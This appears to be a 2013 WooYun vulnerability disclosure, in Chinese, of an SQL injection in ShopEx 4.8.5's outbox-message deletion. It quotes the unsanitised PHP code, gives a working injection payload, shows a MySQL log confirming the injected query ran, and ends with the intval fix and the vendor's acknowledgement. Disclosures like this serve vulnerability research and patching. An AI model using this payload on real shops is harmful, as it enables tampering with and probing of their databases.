当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(16) 关注此漏洞

缺陷编号: WooYun-2013-24557

漏洞标题: shopex注入漏洞#3

相关厂商: ShopEx

漏洞作者: Code_Sec

提交时间: 2013-05-26 21:09

公开时间: 2013-08-24 21:10

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码分析

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-05-26: 细节已通知厂商并且等待厂商处理中
2013-05-26: 厂商已经确认,细节仅向厂商公开
2013-05-29: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2013-07-20: 细节向核心白帽子及相关领域专家公开
2013-07-30: 细节向普通白帽子公开
2013-08-09: 细节向实习白帽子公开
2013-08-24: 细节向公众公开

简要描述:

无聊的sql注入
测试版本:shopex-singel-4.8.5.78660

详细说明:

在文件:\core\shop\controller\ctl.member.php

code 区域
function delOutBoxMsg() {
if(!empty($_POST['deloutbox'])){
$oMsg = &$this->system->loadModel('resources/msgbox');
$oMsg->delOutBoxMsg($_POST['deloutbox']);
$this->splash('success', $this->system->mkUrl("member","outbox"), __('删除成功'));
}else{
$this->splash('failed', $this->system->mkUrl("member","outbox"), __('删除失败: 没有选中任何记录!'));
}
}



和shopex注入漏洞#2一样的问题

code 区域
public function delOutBoxMsg( $aMsgId )
{
foreach ( $aMsgId as $val )
{
if ( $val )
{
$aTmp[] = $val;
}
}
if ( $aTmp )
{
$this->db->exec( "DELETE FROM sdb_message WHERE msg_id IN (".implode( ",", $aTmp ).")" );
}
return true;
}



提交:deloutbox[1]=1) and (select count(*) from sdb_operators)=1%23

code 区域
130526 20:49:28	  372 Connect	root@localhost on 
372 Init DB shopex
372 Query SET NAMES 'utf8'
372 Query SELECT * FROM sdb_plugins WHERE plugin_type="app"
372 Query select * from sdb_plugins where plugin_type="app" and plugin_ident='commodity_radar' LIMIT 0, 1
372 Query select * from sdb_plugins where plugin_type="app" and plugin_ident='shopex_stat' LIMIT 0, 1
372 Query select member_id,member_lv_id,email,uname,b_year,b_month,b_day,password,unreadmsg,cur,lang,point,experience from sdb_members where member_id=4 LIMIT 0, 1
372 Query SELECT count(*) AS unreadmsg FROM sdb_message WHERE to_type = 0 AND del_status != '1' AND folder = 'inbox' AND unread = '0' AND to_id =4 LIMIT 0, 1
372 Query SELECT plugin_name,plugin_ident FROM sdb_plugins WHERE 1 AND sdb_plugins.disabled = 'false' AND sdb_plugins.plugin_type='app' LIMIT 0, 20
372 Query SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='commodity_radar' LIMIT 0, 1
372 Query SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='shopex_stat' LIMIT 0, 1
372 Query SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='pay_offline' LIMIT 0, 1
372 Query DELETE FROM sdb_message WHERE msg_id IN (1) and (select count(*) from sdb_operators)=1#)



查看sql执行记录已经ok

漏洞证明:

2013-05-26_205142.jpg





哎,体力活

修复方案:

intval

版权声明:转载请注明来源 Code_Sec@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-05-26 23:18

厂商回复:

非常感谢您为shopex信息安全做的贡献
我们将尽快修复
非常感谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-05-27 08:23 | p0di ( 普通白帽子 | Rank:121 漏洞数:17 | 1+1 = 2 ?)
    0

    连载至…………

登录后才能发表评论,请先 登录